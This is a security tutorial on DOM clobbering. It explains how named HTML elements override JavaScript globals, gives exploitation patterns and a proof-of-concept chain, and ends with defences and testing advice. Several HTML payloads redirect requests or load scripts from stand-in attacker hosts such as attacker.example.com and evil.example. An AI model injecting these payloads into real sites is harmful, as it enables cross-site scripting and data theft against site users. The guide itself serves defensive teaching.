DOM Clobbering: Exploiting HTML Element Naming Conflicts for XSS Escalation

DOM clobbering exploits the browser's implicit mapping of named HTML elements to JavaScript global variables. This guide covers how clobbering works, how attackers use it to escalate limited HTML injection to script execution, and how to defend against it.

DOM clobbering sits in an uncomfortable grey area between HTML injection and XSS: an attacker who can inject HTML but cannot inject <script> tags (blocked by sanitiser or CSP) may still be able to execute JavaScript if the application’s code reads properties from window or document that can be overwritten using named HTML elements.

The technique is less commonly understood than prototype pollution, but it appears in real-world XSS chains and has been used to bypass DOMPurify in specific configurations. Understanding it is particularly relevant for applications that sanitise HTML for rich text input, since sanitisers that block scripts may still allow named form elements or anchors.

The Browser Behaviour Behind DOM Clobbering

The HTML specification defines a named access mechanism on window (and document): certain HTML elements with name or id attributes become accessible as properties of those global objects.

Specifically:

  • <img name="foo"> makes window.foo resolve to the <img> element
  • <form name="bar"> makes window.bar and document.bar resolve to the <form> element
  • <input name="baz"> inside a form makes form.baz resolve to the <input> element
  • <a id="x" href="..."> makes window.x resolve to the <a> element in most browsers

The consequence: if your JavaScript code reads a property from window expecting a string or object and an attacker can inject HTML that defines that name, they have substituted an HTML element where your code expected a trusted value.

This does not always lead to XSS — it depends entirely on how the substituted value is used. But in several documented patterns, DOM clobbering creates a path from HTML injection to script execution.

Exploitation Patterns

Pattern 1: Clobbering Configuration Objects

A common application pattern is to define configuration on window from a server-rendered template:

<!-- Server renders this -->
<script>
  window.config = { apiUrl: "https://api.example.com", csrfToken: "abc123" };
</script>

<!-- Later code reads it -->
const url = window.config.apiUrl;
fetch(url + "/data");

If window.config is not set (for example, on a page where the server didn’t render it, or the script ran before the block), and an attacker can inject HTML, they can clobber it:

<form name="config">
  <input name="apiUrl" value="https://attacker.example.com">
</form>

Now window.config is the <form> element, and window.config.apiUrl is the <input> element. When .toString() is called implicitly (by string concatenation or URL construction), it returns the value attribute: "https://attacker.example.com". The fetch goes to the attacker’s server.

This alone is a significant impact (SSRF or data exfiltration) without achieving XSS.

Pattern 2: Clobbering to XSS via Dynamic Script Loading

If application code constructs a script URL from a window property and injects it dynamically:

// Application loads feature modules based on configuration
const src = window.featureConfig && window.featureConfig.scriptSrc;
if (src) {
  const script = document.createElement("script");
  script.src = src;
  document.body.appendChild(script);
}

An attacker who injects:

<a id="featureConfig" href="javascript:alert(1)">
<a id="featureConfig" name="scriptSrc" href="https://attacker.example.com/evil.js">

The double-anchor trick exploits the HTMLCollection that results from two elements with the same id: window.featureConfig becomes the HTMLCollection, and window.featureConfig.scriptSrc accesses the named element within it, whose href is the attacker’s URL. The dynamic script is loaded from attacker.example.com.

Pattern 3: Clobbering document.body or document.cookie

Older browsers permitted clobbering document.body or document.domain in some configurations. Modern browsers have restricted this, but document.getElementById results and other DOM API outputs can still be shadowed indirectly in some configurations.

Pattern 4: DOMPurify Bypass (Historical)

DOMPurify versions prior to 2.0.17 (and specific later versions before patching) were vulnerable to DOM clobbering bypasses. The sanitiser correctly removes script tags and event handlers but at that time allowed named anchor elements. Code consuming the sanitised output could then be clobbered.

The current DOMPurify codebase explicitly handles clobbering protections, but custom sanitiser configurations that re-allow certain elements may re-open the attack surface.

Proof of Concept: End-to-End Clobbering Chain

Suppose an application allows user-submitted comments rendered as sanitised HTML. The sanitiser allows <a> and <form> with name/id but blocks <script> and event handlers. The page also contains:

// Load analytics asynchronously
if (window.analyticsConfig) {
  const tag = document.createElement("script");
  tag.src = window.analyticsConfig.endpoint;
  document.head.appendChild(tag);
}

Attacker submits comment containing:

<a id="analyticsConfig">
<a id="analyticsConfig" name="endpoint" href="//evil.example/x.js">

Result: window.analyticsConfig is the HTMLCollection of two <a> elements; window.analyticsConfig.endpoint is the second element whose string representation (via .toString().href) resolves to //evil.example/x.js. The analytics tag loads the attacker’s script. XSS achieved with no <script> tag in the payload.

Defence

1. Sanitiser Configuration

DOMPurify’s SANITIZE_DOM option (enabled by default) protects against named element clobbering by removing elements whose name or id would shadow properties on document or window.

import DOMPurify from "dompurify";

// Default config includes SANITIZE_DOM: true — explicitly confirm it's not disabled
const clean = DOMPurify.sanitize(untrustedHTML, {
  SANITIZE_DOM: true,  // Do not set to false
});

If you use a custom sanitiser or a library other than DOMPurify, verify it handles named element clobbering explicitly — most general-purpose sanitisers do not.

2. Avoid Reading from window/document by Property Name

The root cause is code that reads window.someProperty or document.someProperty as if it were a trusted application-defined value. Prefer explicit application state management:

// Fragile: reads from window, susceptible to clobbering
const endpoint = window.config.analyticsEndpoint;

// Better: initialise application state from a dedicated, clearly-scoped module
// that is loaded before any user-generated content is rendered
import { getConfig } from "./config.js";
const endpoint = getConfig().analyticsEndpoint;

If you must read from window, verify the type before use:

const config = window.config;
if (config && typeof config === "object" && config.constructor === Object) {
  // Safe to use — HTMLElement objects will fail the constructor check
  const endpoint = typeof config.analyticsEndpoint === "string"
    ? config.analyticsEndpoint
    : null;
}

3. Content Security Policy

A strict CSP that blocks script-src to a specific allowlist prevents exfiltrated script injection even if clobbering succeeds in constructing a URL:

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' 'nonce-<random>';
  connect-src 'self' https://api.example.com;

With this policy, even if an attacker clobbers a script src attribute, the dynamically-created script tag pointing to an unlisted origin will be blocked by the browser before loading. CSP is a defence-in-depth control — it reduces impact but does not prevent clobbering itself.

4. Object.freeze on Configuration Objects

For application configuration that must live on window, freeze the objects at initialisation time, before any user content is rendered:

// In a script loaded before any user-provided HTML is processed
window.appConfig = Object.freeze({
  apiUrl: "https://api.example.com",
  analyticsEndpoint: "https://analytics.example.com/collect",
});

Object.freeze prevents the object’s properties from being overwritten. It does not prevent window.appConfig itself from being shadowed by a named HTML element (that replacement happens at the named access level before property access), but it reduces the surface area for modification.

For complete protection against the window-level replacement, the code that reads window.appConfig must perform the type check described above.

5. Avoid the HTMLCollection Double-Element Pattern

The double-element id trick that creates HTMLCollection relies on the browser allowing two elements with the same id. Modern HTML spec discourages this but browsers permit it for legacy reasons. Sanitisers should deduplicate or reject elements whose id matches an existing element in the document.

Testing for DOM Clobbering

Manual testing: Inject HTML fragments containing named anchors and forms, then observe whether application JavaScript reads them as expected or uses the clobbered values.

<!-- Test payloads to inject as user content -->
<form name="config"><input name="debug" value="true"></form>
<a id="appState" href="javascript:console.log('clobbered')">test</a>

Automated scanning: DOM clobbering is rarely detected by standard DAST tools because it requires understanding of the application’s JavaScript logic. Manual code review of client-side code for window.* and document.* property reads is more reliable.

DOMPurify configuration audit: Verify SANITIZE_DOM is true and that no custom configuration re-allows <form name> or <a id> after sanitisation.

References